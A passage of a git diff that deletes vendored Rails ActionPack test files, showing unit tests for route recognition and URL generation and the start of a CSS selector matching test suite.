-    assert_equal '/page/37s', set.generate(:controller => 'pages', :action => 'show', :name => 'jamis')
-    assert_raise ActionController::RoutingError do
-      set.generate(:controller => 'pages', :action => 'show', :name => 'not_jamis')
-    end
-    assert_raise ActionController::RoutingError do
-      set.generate(:controller => 'pages', :action => 'show', :name => 'nor_jamis_and_david')
-    end
-  end
-
-  def test_recognize_with_encoded_id_and_regex
-    set.draw do |map|
-      map.connect 'page/:id', :controller => 'pages', :action => 'show', :id => /[a-zA-Z0-9\+]+/
-    end
-
-    assert_equal({:controller => 'pages', :action => 'show', :id => '10'}, set.recognize_path('/page/10'))
-    assert_equal({:controller => 'pages', :action => 'show', :id => 'hello+world'}, set.recognize_path('/page/hello+world'))
-  end
-
-  def test_recognize_with_conditions
-    Object.const_set(:PeopleController, Class.new)
-
-    set.draw do |map|
-      map.with_options(:controller => "people") do |people|
-        people.people  "/people",     :action => "index",   :conditions => { :method => :get }
-        people.connect "/people",     :action => "create",  :conditions => { :method => :post }
-        people.person  "/people/:id", :action => "show",    :conditions => { :method => :get }
-        people.connect "/people/:id", :action => "update",  :conditions => { :method => :put }
-        people.connect "/people/:id", :action => "destroy", :conditions => { :method => :delete }
-      end
-    end
-
-    request.path = "/people"
-    request.env["REQUEST_METHOD"] = "GET"
-    assert_nothing_raised { set.recognize(request) }
-    assert_equal("index", request.path_parameters[:action])
-    request.recycle!
-
-    request.env["REQUEST_METHOD"] = "POST"
-    assert_nothing_raised { set.recognize(request) }
-    assert_equal("create", request.path_parameters[:action])
-    request.recycle!
-
-    request.env["REQUEST_METHOD"] = "PUT"
-    assert_nothing_raised { set.recognize(request) }
-    assert_equal("update", request.path_parameters[:action])
-    request.recycle!
-
-    assert_raise(ActionController::UnknownHttpMethod) {
-      request.env["REQUEST_METHOD"] = "BACON"
-      set.recognize(request)
-    }
-    request.recycle!
-
-    request.path = "/people/5"
-    request.env["REQUEST_METHOD"] = "GET"
-    assert_nothing_raised { set.recognize(request) }
-    assert_equal("show", request.path_parameters[:action])
-    assert_equal("5", request.path_parameters[:id])
-    request.recycle!
-
-    request.env["REQUEST_METHOD"] = "PUT"
-    assert_nothing_raised { set.recognize(request) }
-    assert_equal("update", request.path_parameters[:action])
-    assert_equal("5", request.path_parameters[:id])
-    request.recycle!
-
-    request.env["REQUEST_METHOD"] = "DELETE"
-    assert_nothing_raised { set.recognize(request) }
-    assert_equal("destroy", request.path_parameters[:action])
-    assert_equal("5", request.path_parameters[:id])
-    request.recycle!
-
-    begin
-      request.env["REQUEST_METHOD"] = "POST"
-      set.recognize(request)
-      flunk 'Should have raised MethodNotAllowed'
-    rescue ActionController::MethodNotAllowed => e
-      assert_equal [:get, :put, :delete], e.allowed_methods
-    end
-    request.recycle!
-
-  ensure
-    Object.send(:remove_const, :PeopleController)
-  end
-
-  def test_recognize_with_alias_in_conditions
-    Object.const_set(:PeopleController, Class.new)
-
-    set.draw do |map|
-      map.people "/people", :controller => 'people', :action => "index",
-        :conditions => { :method => :get }
-      map.root   :people
-    end
-
-    request.path = "/people"
-    request.env["REQUEST_METHOD"] = "GET"
-    assert_nothing_raised { set.recognize(request) }
-    assert_equal("people", request.path_parameters[:controller])
-    assert_equal("index", request.path_parameters[:action])
-
-    request.path = "/"
-    request.env["REQUEST_METHOD"] = "GET"
-    assert_nothing_raised { set.recognize(request) }
-    assert_equal("people", request.path_parameters[:controller])
-    assert_equal("index", request.path_parameters[:action])
-  ensure
-    Object.send(:remove_const, :PeopleController)
-  end
-
-  def test_typo_recognition
-    Object.const_set(:ArticlesController, Class.new)
-
-    set.draw do |map|
-      map.connect 'articles/:year/:month/:day/:title',
-             :controller => 'articles', :action => 'permalink',
-             :year => /\d{4}/, :day => /\d{1,2}/, :month => /\d{1,2}/
-    end
-
-    request.path = "/articles/2005/11/05/a-very-interesting-article"
-    request.env["REQUEST_METHOD"] = "GET"
-    assert_nothing_raised { set.recognize(request) }
-    assert_equal("permalink", request.path_parameters[:action])
-    assert_equal("2005", request.path_parameters[:year])
-    assert_equal("11", request.path_parameters[:month])
-    assert_equal("05", request.path_parameters[:day])
-    assert_equal("a-very-interesting-article", request.path_parameters[:title])
-
-  ensure
-    Object.send(:remove_const, :ArticlesController)
-  end
-
-  def test_routing_traversal_does_not_load_extra_classes
-    assert !Object.const_defined?("Profiler__"), "Profiler should not be loaded"
-    set.draw do |map|
-      map.connect '/profile', :controller => 'profile'
-    end
-
-    request.path = '/profile'
-
-    set.recognize(request) rescue nil
-
-    assert !Object.const_defined?("Profiler__"), "Profiler should not be loaded"
-  end
-
-  def test_recognize_with_conditions_and_format
-    Object.const_set(:PeopleController, Class.new)
-
-    set.draw do |map|
-      map.with_options(:controller => "people") do |people|
-        people.person  "/people/:id", :action => "show",    :conditions => { :method => :get }
-        people.connect "/people/:id", :action => "update",  :conditions => { :method => :put }
-        people.connect "/people/:id.:_format", :action => "show", :conditions => { :method => :get }
-      end
-    end
-
-    request.path = "/people/5"
-    request.env["REQUEST_METHOD"] = "GET"
-    assert_nothing_raised { set.recognize(request) }
-    assert_equal("show", request.path_parameters[:action])
-    assert_equal("5", request.path_parameters[:id])
-    request.recycle!
-
-    request.env["REQUEST_METHOD"] = "PUT"
-    assert_nothing_raised { set.recognize(request) }
-    assert_equal("update", request.path_parameters[:action])
-    request.recycle!
-
-    request.path = "/people/5.png"
-    request.env["REQUEST_METHOD"] = "GET"
-    assert_nothing_raised { set.recognize(request) }
-    assert_equal("show", request.path_parameters[:action])
-    assert_equal("5", request.path_parameters[:id])
-    assert_equal("png", request.path_parameters[:_format])
-  ensure
-    Object.send(:remove_const, :PeopleController)
-  end
-
-  def test_generate_with_default_action
-    set.draw do |map|
-      map.connect "/people", :controller => "people"
-      map.connect "/people/list", :controller => "people", :action => "list"
-    end
-
-    url = set.generate(:controller => "people", :action => "list")
-    assert_equal "/people/list", url
-  end
-
-  def test_root_map
-    Object.const_set(:PeopleController, Class.new)
-
-    set.draw { |map| map.root :controller => "people" }
-
-    request.path = ""
-    request.env["REQUEST_METHOD"] = "GET"
-    assert_nothing_raised { set.recognize(request) }
-    assert_equal("people", request.path_parameters[:controller])
-    assert_equal("index", request.path_parameters[:action])
-  ensure
-    Object.send(:remove_const, :PeopleController)
-  end
-
-  def test_namespace
-    Object.const_set(:Api, Module.new { |m| m.const_set(:ProductsController, Class.new) })
-
-    set.draw do |map|
-
-      map.namespace 'api' do |api|
-        api.route 'inventory', :controller => "products", :action => 'inventory'
-      end
-
-    end
-
-    request.path = "/api/inventory"
-    request.env["REQUEST_METHOD"] = "GET"
-    assert_nothing_raised { set.recognize(request) }
-    assert_equal("api/products", request.path_parameters[:controller])
-    assert_equal("inventory", request.path_parameters[:action])
-  ensure
-    Object.send(:remove_const, :Api)
-  end
-
-  def test_namespaced_root_map
-    Object.const_set(:Api, Module.new { |m| m.const_set(:ProductsController, Class.new) })
-
-    set.draw do |map|
-
-      map.namespace 'api' do |api|
-        api.root :controller => "products"
-      end
-
-    end
-
-    request.path = "/api"
-    request.env["REQUEST_METHOD"] = "GET"
-    assert_nothing_raised { set.recognize(request) }
-    assert_equal("api/products", request.path_parameters[:controller])
-    assert_equal("index", request.path_parameters[:action])
-  ensure
-    Object.send(:remove_const, :Api)
-  end
-
-  def test_namespace_with_path_prefix
-    Object.const_set(:Api, Module.new { |m| m.const_set(:ProductsController, Class.new) })
-
-    set.draw do |map|
-      map.namespace 'api', :path_prefix => 'prefix' do |api|
-        api.route 'inventory', :controller => "products", :action => 'inventory'
-      end
-    end
-
-    request.path = "/prefix/inventory"
-    request.env["REQUEST_METHOD"] = "GET"
-    assert_nothing_raised { set.recognize(request) }
-    assert_equal("api/products", request.path_parameters[:controller])
-    assert_equal("inventory", request.path_parameters[:action])
-  ensure
-    Object.send(:remove_const, :Api)
-  end
-
-  def test_namespace_with_blank_path_prefix
-    Object.const_set(:Api, Module.new { |m| m.const_set(:ProductsController, Class.new) })
-
-    set.draw do |map|
-      map.namespace 'api', :path_prefix => '' do |api|
-        api.route 'inventory', :controller => "products", :action => 'inventory'
-      end
-    end
-
-    request.path = "/inventory"
-    request.env["REQUEST_METHOD"] = "GET"
-    assert_nothing_raised { set.recognize(request) }
-    assert_equal("api/products", request.path_parameters[:controller])
-    assert_equal("inventory", request.path_parameters[:action])
-  ensure
-    Object.send(:remove_const, :Api)
-  end
-
-  def test_generate_finds_best_fit
-    set.draw do |map|
-      map.connect "/people", :controller => "people", :action => "index"
-      map.connect "/ws/people", :controller => "people", :action => "index", :ws => true
-    end
-
-    url = set.generate(:controller => "people", :action => "index", :ws => true)
-    assert_equal "/ws/people", url
-  end
-
-  def test_generate_changes_controller_module
-    set.draw { |map| map.connect ':controller/:action/:id' }
-    current = { :controller => "bling/bloop", :action => "bap", :id => 9 }
-    url = set.generate({:controller => "foo/bar", :action => "baz", :id => 7}, current)
-    assert_equal "/foo/bar/baz/7", url
-  end
-
-  def test_id_is_not_impossibly_sticky
-    set.draw do |map|
-      map.connect 'foo/:number', :controller => "people", :action => "index"
-      map.connect ':controller/:action/:id'
-    end
-
-    url = set.generate({:controller => "people", :action => "index", :number => 3},
-      {:controller => "people", :action => "index", :id => "21"})
-    assert_equal "/foo/3", url
-  end
-
-  def test_id_is_sticky_when_it_ought_to_be
-    set.draw do |map|
-      map.connect ':controller/:id/:action'
-    end
-
-    url = set.generate({:action => "destroy"}, {:controller => "people", :action => "show", :id => "7"})
-    assert_equal "/people/7/destroy", url
-  end
-
-  def test_use_static_path_when_possible
-    set.draw do |map|
-      map.connect 'about', :controller => "welcome", :action => "about"
-      map.connect ':controller/:action/:id'
-    end
-
-    url = set.generate({:controller => "welcome", :action => "about"},
-      {:controller => "welcome", :action => "get", :id => "7"})
-    assert_equal "/about", url
-  end
-
-  def test_generate
-    set.draw { |map| map.connect ':controller/:action/:id' }
-
-    args = { :controller => "foo", :action => "bar", :id => "7", :x => "y" }
-    assert_equal "/foo/bar/7?x=y", set.generate(args)
-    assert_equal ["/foo/bar/7", [:x]], set.generate_extras(args)
-    assert_equal [:x], set.extra_keys(args)
-  end
-
-  def test_generate_with_path_prefix
-    set.draw { |map| map.connect ':controller/:action/:id', :path_prefix => 'my' }
-
-    args = { :controller => "foo", :action => "bar", :id => "7", :x => "y" }
-    assert_equal "/my/foo/bar/7?x=y", set.generate(args)
-  end
-
-  def test_generate_with_blank_path_prefix
-    set.draw { |map| map.connect ':controller/:action/:id', :path_prefix => '' }
-
-    args = { :controller => "foo", :action => "bar", :id => "7", :x => "y" }
-    assert_equal "/foo/bar/7?x=y", set.generate(args)
-  end
-
-  def test_named_routes_are_never_relative_to_modules
-    set.draw do |map|
-      map.connect "/connection/manage/:action", :controller => 'connection/manage'
-      map.connect "/connection/connection", :controller => "connection/connection"
-      map.family_connection "/connection", :controller => "connection"
-    end
-
-    url = set.generate({:controller => "connection"}, {:controller => 'connection/manage'})
-    assert_equal "/connection/connection", url
-
-    url = set.generate({:use_route => :family_connection, :controller => "connection"}, {:controller => 'connection/manage'})
-    assert_equal "/connection", url
-  end
-
-  def test_action_left_off_when_id_is_recalled
-    set.draw do |map|
-      map.connect ':controller/:action/:id'
-    end
-    assert_equal '/post', set.generate(
-      {:controller => 'post', :action => 'index'},
-      {:controller => 'post', :action => 'show', :id => '10'}
-    )
-  end
-
-  def test_query_params_will_be_shown_when_recalled
-    set.draw do |map|
-      map.connect 'show_post/:parameter', :controller => 'post', :action => 'show'
-      map.connect ':controller/:action/:id'
-    end
-    assert_equal '/post/edit?parameter=1', set.generate(
-      {:action => 'edit', :parameter => 1},
-      {:controller => 'post', :action => 'show', :parameter => 1}
-    )
-  end
-
-  def test_format_is_not_inherit
-    set.draw do |map|
-      map.connect '/posts.:format', :controller => 'posts'
-    end
-
-    assert_equal '/posts', set.generate(
-      {:controller => 'posts'},
-      {:controller => 'posts', :action => 'index', :format => 'xml'}
-    )
-
-    assert_equal '/posts.xml', set.generate(
-      {:controller => 'posts', :format => 'xml'},
-      {:controller => 'posts', :action => 'index', :format => 'xml'}
-    )
-  end
-
-  def test_expiry_determination_should_consider_values_with_to_param
-    set.draw { |map| map.connect 'projects/:project_id/:controller/:action' }
-    assert_equal '/projects/1/post/show', set.generate(
-      {:action => 'show', :project_id => 1},
-      {:controller => 'post', :action => 'show', :project_id => '1'})
-  end
-
-  def test_generate_all
-    set.draw do |map|
-      map.connect 'show_post/:id', :controller => 'post', :action => 'show'
-      map.connect ':controller/:action/:id'
-    end
-    all = set.generate(
-      {:action => 'show', :id => 10, :generate_all => true},
-      {:controller => 'post', :action => 'show'}
-    )
-    assert_equal 2, all.length
-    assert_equal '/show_post/10', all.first
-    assert_equal '/post/show/10', all.last
-  end
-
-  def test_named_route_in_nested_resource
-    set.draw do |map|
-      map.resources :projects do |project|
-        project.milestones 'milestones', :controller => 'milestones', :action => 'index'
-      end
-    end
-
-    request.path = "/projects/1/milestones"
-    request.env["REQUEST_METHOD"] = "GET"
-    assert_nothing_raised { set.recognize(request) }
-    assert_equal("milestones", request.path_parameters[:controller])
-    assert_equal("index", request.path_parameters[:action])
-  end
-
-  def test_setting_root_in_namespace_using_symbol
-    assert_nothing_raised do
-      set.draw do |map|
-        map.namespace :admin do |admin|
-          admin.root :controller => 'home'
-        end
-      end
-    end
-  end
-
-  def test_setting_root_in_namespace_using_string
-    assert_nothing_raised do
-      set.draw do |map|
-        map.namespace 'admin' do |admin|
-          admin.root :controller => 'home'
-        end
-      end
-    end
-  end
-
-  def test_route_requirements_with_unsupported_regexp_options_must_error
-    assert_raise ArgumentError do
-      set.draw do |map|
-        map.connect 'page/:name', :controller => 'pages',
-          :action => 'show',
-          :requirements => {:name => /(david|jamis)/m}
-      end
-    end
-  end
-
-  def test_route_requirements_with_supported_options_must_not_error
-    assert_nothing_raised do
-      set.draw do |map|
-        map.connect 'page/:name', :controller => 'pages',
-          :action => 'show',
-          :requirements => {:name => /(david|jamis)/i}
-      end
-    end
-    assert_nothing_raised do
-      set.draw do |map|
-        map.connect 'page/:name', :controller => 'pages',
-          :action => 'show',
-          :requirements => {:name => / # Desperately overcommented regexp
-                                      ( #Either
-                                       david #The Creator
-                                      | #Or
-                                        jamis #The Deployer
-                                      )/x}
-      end
-    end
-  end
-
-  def test_route_requirement_recognize_with_ignore_case
-    set.draw do |map|
-      map.connect 'page/:name', :controller => 'pages',
-        :action => 'show',
-        :requirements => {:name => /(david|jamis)/i}
-    end
-    assert_equal({:controller => 'pages', :action => 'show', :name => 'jamis'}, set.recognize_path('/page/jamis'))
-    assert_raise ActionController::RoutingError do
-      set.recognize_path('/page/davidjamis')
-    end
-    assert_equal({:controller => 'pages', :action => 'show', :name => 'DAVID'}, set.recognize_path('/page/DAVID'))
-  end
-
-  def test_route_requirement_generate_with_ignore_case
-    set.draw do |map|
-      map.connect 'page/:name', :controller => 'pages',
-        :action => 'show',
-        :requirements => {:name => /(david|jamis)/i}
-    end
-    url = set.generate({:controller => 'pages', :action => 'show', :name => 'david'})
-    assert_equal "/page/david", url
-    assert_raise ActionController::RoutingError do
-      url = set.generate({:controller => 'pages', :action => 'show', :name => 'davidjamis'})
-    end
-    url = set.generate({:controller => 'pages', :action => 'show', :name => 'JAMIS'})
-    assert_equal "/page/JAMIS", url
-  end
-
-  def test_route_requirement_recognize_with_extended_syntax
-    set.draw do |map|
-      map.connect 'page/:name', :controller => 'pages',
-        :action => 'show',
-        :requirements => {:name => / # Desperately overcommented regexp
-                                    ( #Either
-                                     david #The Creator
-                                    | #Or
-                                      jamis #The Deployer
-                                    )/x}
-    end
-    assert_equal({:controller => 'pages', :action => 'show', :name => 'jamis'}, set.recognize_path('/page/jamis'))
-    assert_equal({:controller => 'pages', :action => 'show', :name => 'david'}, set.recognize_path('/page/david'))
-    assert_raise ActionController::RoutingError do
-      set.recognize_path('/page/david #The Creator')
-    end
-    assert_raise ActionController::RoutingError do
-      set.recognize_path('/page/David')
-    end
-  end
-
-  def test_route_requirement_generate_with_extended_syntax
-    set.draw do |map|
-      map.connect 'page/:name', :controller => 'pages',
-        :action => 'show',
-        :requirements => {:name => / # Desperately overcommented regexp
-                                    ( #Either
-                                     david #The Creator
-                                    | #Or
-                                      jamis #The Deployer
-                                    )/x}
-    end
-    url = set.generate({:controller => 'pages', :action => 'show', :name => 'david'})
-    assert_equal "/page/david", url
-    assert_raise ActionController::RoutingError do
-      url = set.generate({:controller => 'pages', :action => 'show', :name => 'davidjamis'})
-    end
-    assert_raise ActionController::RoutingError do
-      url = set.generate({:controller => 'pages', :action => 'show', :name => 'JAMIS'})
-    end
-  end
-
-  def test_route_requirement_generate_with_xi_modifiers
-    set.draw do |map|
-      map.connect 'page/:name', :controller => 'pages',
-        :action => 'show',
-        :requirements => {:name => / # Desperately overcommented regexp
-                                    ( #Either
-                                     david #The Creator
-                                    | #Or
-                                      jamis #The Deployer
-                                    )/xi}
-    end
-    url = set.generate({:controller => 'pages', :action => 'show', :name => 'JAMIS'})
-    assert_equal "/page/JAMIS", url
-  end
-
-  def test_route_requirement_recognize_with_xi_modifiers
-    set.draw do |map|
-      map.connect 'page/:name', :controller => 'pages',
-        :action => 'show',
-        :requirements => {:name => / # Desperately overcommented regexp
-                                    ( #Either
-                                     david #The Creator
-                                    | #Or
-                                      jamis #The Deployer
-                                    )/xi}
-    end
-    assert_equal({:controller => 'pages', :action => 'show', :name => 'JAMIS'}, set.recognize_path('/page/JAMIS'))
-  end
-
-  def test_routes_with_symbols
-    set.draw do |map|
-      map.connect 'unnamed', :controller => :pages, :action => :show, :name => :as_symbol
-      map.named   'named',   :controller => :pages, :action => :show, :name => :as_symbol
-    end
-    assert_equal({:controller => 'pages', :action => 'show', :name => :as_symbol}, set.recognize_path('/unnamed'))
-    assert_equal({:controller => 'pages', :action => 'show', :name => :as_symbol}, set.recognize_path('/named'))
-  end
-
-end
-
-class RouteLoadingTest < Test::Unit::TestCase
-  def setup
-    routes.instance_variable_set '@routes_last_modified', nil
-    silence_warnings { Object.const_set :RAILS_ROOT, '.' }
-    routes.add_configuration_file(File.join(RAILS_ROOT, 'config', 'routes.rb'))
-
-    @stat = stub_everything
-  end
-
-  def teardown
-    ActionController::Routing::Routes.configuration_files.clear
-    Object.send :remove_const, :RAILS_ROOT
-  end
-
-  def test_load
-    File.expects(:stat).returns(@stat)
-    routes.expects(:load).with(regexp_matches(/routes\.rb$/))
-
-    routes.reload
-  end
-
-  def test_no_reload_when_not_modified
-    @stat.expects(:mtime).times(2).returns(1)
-    File.expects(:stat).times(2).returns(@stat)
-    routes.expects(:load).with(regexp_matches(/routes\.rb$/)).at_most_once
-
-    2.times { routes.reload }
-  end
-
-  def test_reload_when_modified
-    @stat.expects(:mtime).at_least(2).returns(1, 2)
-    File.expects(:stat).at_least(2).returns(@stat)
-    routes.expects(:load).with(regexp_matches(/routes\.rb$/)).times(2)
-
-    2.times { routes.reload }
-  end
-
-  def test_bang_forces_reload
-    @stat.expects(:mtime).at_least(2).returns(1)
-    File.expects(:stat).at_least(2).returns(@stat)
-    routes.expects(:load).with(regexp_matches(/routes\.rb$/)).times(2)
-
-    2.times { routes.reload! }
-  end
-
-  def test_adding_inflections_forces_reload
-    ActiveSupport::Inflector::Inflections.instance.expects(:uncountable).with('equipment')
-    routes.expects(:reload!)
-
-    ActiveSupport::Inflector.inflections { |inflect| inflect.uncountable('equipment') }
-  end
-
-  def test_load_with_configuration
-    routes.configuration_files.clear
-    routes.add_configuration_file("foobarbaz")
-    File.expects(:stat).returns(@stat)
-    routes.expects(:load).with("foobarbaz")
-
-    routes.reload
-  end
-
-  def test_load_multiple_configurations
-    routes.add_configuration_file("engines.rb")
-
-    File.expects(:stat).at_least_once.returns(@stat)
-
-    routes.expects(:load).with('./config/routes.rb')
-    routes.expects(:load).with('engines.rb')
-
-    routes.reload
-  end
-
-  private
-    def routes
-      ActionController::Routing::Routes
-    end
-end
diff --git a/vendor/rails/actionpack/test/controller/selector_test.rb b/vendor/rails/actionpack/test/controller/selector_test.rb
deleted file mode 100644
index 9d0613d1..00000000
--- a/vendor/rails/actionpack/test/controller/selector_test.rb
+++ /dev/null
@@ -1,628 +0,0 @@
-#--
-# Copyright (c) 2006 Assaf Arkin (http://labnotes.org)
-# Under MIT and/or CC By license.
-#++
-
-require 'abstract_unit'
-require 'controller/fake_controllers'
-
-class SelectorTest < Test::Unit::TestCase
-  #
-  # Basic selector: element, id, class, attributes.
-  #
-
-  def test_element
-    parse(%Q{<div id="1"></div><p></p><div id="2"></div>})
-    # Match element by name.
-    select("div")
-    assert_equal 2, @matches.size
-    assert_equal "1", @matches[0].attributes["id"]
-    assert_equal "2", @matches[1].attributes["id"]
-    # Not case sensitive.
-    select("DIV")
-    assert_equal 2, @matches.size
-    assert_equal "1", @matches[0].attributes["id"]
-    assert_equal "2", @matches[1].attributes["id"]
-    # Universal match (all elements).
-    select("*")
-    assert_equal 3, @matches.size
-    assert_equal "1", @matches[0].attributes["id"]
-    assert_equal nil, @matches[1].attributes["id"]
-    assert_equal "2", @matches[2].attributes["id"]
-  end
-
-
-  def test_identifier
-    parse(%Q{<div id="1"></div><p></p><div id="2"></div>})
-    # Match element by ID.
-    select("div#1")
-    assert_equal 1, @matches.size
-    assert_equal "1", @matches[0].attributes["id"]
-    # Match element by ID, substitute value.
-    select("div#?", 2)
-    assert_equal 1, @matches.size
-    assert_equal "2", @matches[0].attributes["id"]
-    # Element name does not match ID.
-    select("p#?", 2)
-    assert_equal 0, @matches.size
-    # Use regular expression.
-    select("#?", /\d/)
-    assert_equal 2, @matches.size
-  end
-
-
-  def test_class_name
-    parse(%Q{<div id="1" class=" foo "></div><p id="2" class=" foo bar "></p><div id="3" class="bar"></div>})
-    # Match element with specified class.
-    select("div.foo")
-    assert_equal 1, @matches.size
-    assert_equal "1", @matches[0].attributes["id"]
-    # Match any element with specified class.
-    select("*.foo")
-    assert_equal 2, @matches.size
-    assert_equal "1", @matches[0].attributes["id"]
-    assert_equal "2", @matches[1].attributes["id"]
-    # Match elements with other class.
-    select("*.bar")
-    assert_equal 2, @matches.size
-    assert_equal "2", @matches[0].attributes["id"]
-    assert_equal "3", @matches[1].attributes["id"]
-    # Match only element with both class names.
-    select("*.bar.foo")
-    assert_equal 1, @matches.size
-    assert_equal "2", @matches[0].attributes["id"]
-  end
-
-
-  def test_attribute
-    parse(%Q{<div id="1"></div><p id="2" title="" bar="foo"></p><div id="3" title="foo"></div>})
-    # Match element with attribute.
-    select("div[title]")
-    assert_equal 1, @matches.size
-    assert_equal "3", @matches[0].attributes["id"]
-    # Match any element with attribute.
-    select("*[title]")
-    assert_equal 2, @matches.size
-    assert_equal "2", @matches[0].attributes["id"]
-    assert_equal "3", @matches[1].attributes["id"]
-    # Match element with attribute value.
-    select("*[title=foo]")
-    assert_equal 1, @matches.size
-    assert_equal "3", @matches[0].attributes["id"]
-    # Match element with attribute and attribute value.
-    select("[bar=foo][title]")
-    assert_equal 1, @matches.size
-    assert_equal "2", @matches[0].attributes["id"]
-    # Not case sensitive.
-    select("[BAR=foo][TiTle]")
-    assert_equal 1, @matches.size
-    assert_equal "2", @matches[0].attributes["id"]
-  end
-
-
-  def test_attribute_quoted
-    parse(%Q{<div id="1" title="foo"></div><div id="2" title="bar"></div><div id="3" title="  bar  "></div>})
-    # Match without quotes.
-    select("[title = bar]")
-    assert_equal 1, @matches.size
-    assert_equal "2", @matches[0].attributes["id"]
-    # Match with single quotes.
-    select("[title = 'bar' ]")
-    assert_equal 1, @matches.size
-    assert_equal "2", @matches[0].attributes["id"]
-    # Match with double quotes.
-    select("[title = \"bar\" ]")
-    assert_equal 1, @matches.size
-    assert_equal "2", @matches[0].attributes["id"]
-    # Match with spaces.
-    select("[title = \"  bar  \" ]")
-    assert_equal 1, @matches.size
-    assert_equal "3", @matches[0].attributes["id"]
-  end
-
-
-  def test_attribute_equality
-    parse(%Q{<div id="1" title="foo bar"></div><div id="2" title="barbaz"></div>})
-    # Match (fail) complete value.
-    select("[title=bar]")
-    assert_equal 0, @matches.size
-    # Match space-separate word.
-    select("[title~=foo]")
-    assert_equal 1, @matches.size
-    assert_equal "1", @matches[0].attributes["id"]
-    select("[title~=bar]")
-    assert_equal 1, @matches.size
-    assert_equal "1", @matches[0].attributes["id"]
-    # Match beginning of value.
-    select("[title^=ba]")
-    assert_equal 1, @matches.size
-    assert_equal "2", @matches[0].attributes["id"]
-    # Match end of value.
-    select("[title$=ar]")
-    assert_equal 1, @matches.size
-    assert_equal "1", @matches[0].attributes["id"]
-    # Match text in value.
-    select("[title*=bar]")
-    assert_equal 2, @matches.size
-    assert_equal "1", @matches[0].attributes["id"]
-    assert_equal "2", @matches[1].attributes["id"]
-    # Match first space separated word.
-    select("[title|=foo]")
-    assert_equal 1, @matches.size
-    assert_equal "1", @matches[0].attributes["id"]
-    select("[title|=bar]")
-    assert_equal 0, @matches.size
-  end
-
-
-  #
-  # Selector composition: groups, sibling, children
-  #
-
-
-  def test_selector_group
-    parse(%Q{<h1 id="1"></h1><h2 id="2"></h2><h3 id="3"></h3>})
-    # Simple group selector.
-    select("h1,h3")
-    assert_equal 2, @matches.size
-    assert_equal "1", @matches[0].attributes["id"]
-    assert_equal "3", @matches[1].attributes["id"]
-    select("h1 , h3")
-    assert_equal 2, @matches.size
-    assert_equal "1", @matches[0].attributes["id"]
-    assert_equal "3", @matches[1].attributes["id"]
-    # Complex group selector.
-    parse(%Q{<h1 id="1"><a href="foo"></a></h1><h2 id="2"><a href="bar"></a></h2><h3 id="2"><a href="baz"></a></h3>})
-    select("h1 a, h3 a")
-    assert_equal 2, @matches.size
-    assert_equal "foo", @matches[0].attributes["href"]
-    assert_equal "baz", @matches[1].attributes["href"]
-    # And now for the three selector challenge.
-    parse(%Q{<h1 id="1"><a href="foo"></a></h1><h2 id="2"><a href="bar"></a></h2><h3 id="2"><a href="baz"></a></h3>})
-    select("h1 a, h2 a, h3 a")
-    assert_equal 3, @matches.size
-    assert_equal "foo", @matches[0].attributes["href"]
-    assert_equal "bar", @matches[1].attributes["href"]
-    assert_equal "baz", @matches[2].attributes["href"]
-  end
-
-
-  def test_sibling_selector
-    parse(%Q{<h1 id="1"></h1><h2 id="2"></h2><h3 id="3"></h3>})
-    # Test next sibling.
-    select("h1+*")
-    assert_equal 1, @matches.size
-    assert_equal "2", @matches[0].attributes["id"]
-    select("h1+h2")
-    assert_equal 1, @matches.size
-    assert_equal "2", @matches[0].attributes["id"]
-    select("h1+h3")
-    assert_equal 0, @matches.size
-    select("*+h3")
-    assert_equal 1, @matches.size
-    assert_equal "3", @matches[0].attributes["id"]
-    # Test any sibling.
-    select("h1~*")
-    assert_equal 2, @matches.size
-    assert_equal "2", @matches[0].attributes["id"]
-    assert_equal "3", @matches[1].attributes["id"]
-    select("h2~*")
-    assert_equal 1, @matches.size
-    assert_equal "3", @matches[0].attributes["id"]
-  end
-
-
-  def test_children_selector
-    parse(%Q{<div><p id="1"><span id="2"></span></p></div><div><p id="3"><span id="4" class="foo"></span></p></div>})
-    # Test child selector.
-    select("div>p")
-    assert_equal 2, @matches.size
-    assert_equal "1", @matches[0].attributes["id"]
-    assert_equal "3", @matches[1].attributes["id"]
-    select("div>span")
-    assert_equal 0, @matches.size
-    select("div>p#3")
-    assert_equal 1, @matches.size
-    assert_equal "3", @matches[0].attributes["id"]
-    select("div>p>span")
-    assert_equal 2, @matches.size
-    assert_equal "2", @matches[0].attributes["id"]
-    assert_equal "4", @matches[1].attributes["id"]
-    # Test descendant selector.
-    select("div p")
-    assert_equal 2, @matches.size
-    assert_equal "1", @matches[0].attributes["id"]
-    assert_equal "3", @matches[1].attributes["id"]
-    select("div span")
-    assert_equal 2, @matches.size
-    assert_equal "2", @matches[0].attributes["id"]
-    assert_equal "4", @matches[1].attributes["id"]
-    select("div *#3")
-    assert_equal 1, @matches.size
-    assert_equal "3", @matches[0].attributes["id"]
-    select("div *#4")
-    assert_equal 1, @matches.size
-    assert_equal "4", @matches[0].attributes["id"]
-    # This is here because it failed before when whitespaces
-    # were not properly stripped.
-    select("div .foo")
-    assert_equal 1, @matches.size
-    assert_equal "4", @matches[0].attributes["id"]
-  end
-
-
-  #
-  # Pseudo selectors: root, nth-child, empty, content, etc
-  #
-
-
-  def test_root_selector
-    parse(%Q{<div id="1"><div id="2"></div></div>})
-    # Can only find element if it's root.
-    select(":root")
-    assert_equal 1, @matches.size
-    assert_equal "1", @matches[0].attributes["id"]
-    select("#1:root")
-    assert_equal 1, @matches.size
-    assert_equal "1", @matches[0].attributes["id"]
-    select("#2:root")
-    assert_equal 0, @matches.size
-    # Opposite for nth-child.
-    select("#1:nth-child(1)")
-    assert_equal 0, @matches.size
-  end
-
-
-  def test_nth_child_odd_even
-    parse(%Q{<table><tr id="1"></tr><tr id="2"></tr><tr id="3"></tr><tr id="4"></tr></table>})
-    # Test odd nth children.
-    select("tr:nth-child(odd)")
-    assert_equal 2, @matches.size
-    assert_equal "1", @matches[0].attributes["id"]
-    assert_equal "3", @matches[1].attributes["id"]
-    # Test even nth children.
-    select("tr:nth-child(even)")
-    assert_equal 2, @matches.size
-    assert_equal "2", @matches[0].attributes["id"]
-    assert_equal "4", @matches[1].attributes["id"]
-  end
-
-
-  def test_nth_child_a_is_zero
-    parse(%Q{<table><tr id="1"></tr><tr id="2"></tr><tr id="3"></tr><tr id="4"></tr></table>})
-    # Test the third child.
-    select("tr:nth-child(0n+3)")
-    assert_equal 1, @matches.size
-    assert_equal "3", @matches[0].attributes["id"]
-    # Same but an can be omitted when zero.
-    select("tr:nth-child(3)")
-    assert_equal 1, @matches.size
-    assert_equal "3", @matches[0].attributes["id"]
-    # Second element (but not every second element).
-    select("tr:nth-child(0n+2)")
-    assert_equal 1, @matches.size
